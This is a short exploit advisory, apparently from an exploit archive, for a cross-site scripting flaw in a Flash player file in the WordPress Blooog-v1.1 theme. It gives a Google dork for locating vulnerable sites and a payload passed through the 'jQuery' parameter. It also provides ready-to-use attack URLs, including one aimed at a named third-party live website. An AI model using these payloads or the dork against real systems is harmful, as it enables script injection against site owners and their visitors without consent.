WordPress Blooog-v1.1 Theme Cross Site Scripting Vulnerability

]+[ Author: TUNISIAN CYBER
]+[ Exploit Title: WordPress Blooog-v1.1 Theme Cross Site Scripting Vulnerability
]+[ Date: 2-12-2013
]+[ Category: WebApp
]+[ Google Dork: inurl:"wp-content/themes/Blooog-v1.1"
]+[ Tested on: Win7 , ubuntu 13.04
################################################## ######################################
P.O.C:
http: // 127.0.0.1/wp-content/themes /Blooog-v1.1/assets/js/jplayer.swf
P4yl04D:
?jQuery=({catch)e(}{if)!self.a(self.a=!*****)/1337day TUNISIAN CYBER/(//
The link will be like this:
http: // 127.0.0.1/wp-content/themes /Blooog-v1.1/assets/js/jplayer.swf?jQuery=({catch)e(}{if)!self.a(self.a=! *****)/1337day TUNISIAN CYBER/(//
Demo:)the rest at google,bing..(
http://www.951collegeradio.com /wp-content/themes/Blooog- v1.1/assets/js/jplayer.swf?jQuery=({catch)e(}{if)!self.a(self.a=! *****)/1337day%20TUNISIAN%20CYBER/(//
img: http://oi40.tinypic.com /33k6sqq.jpg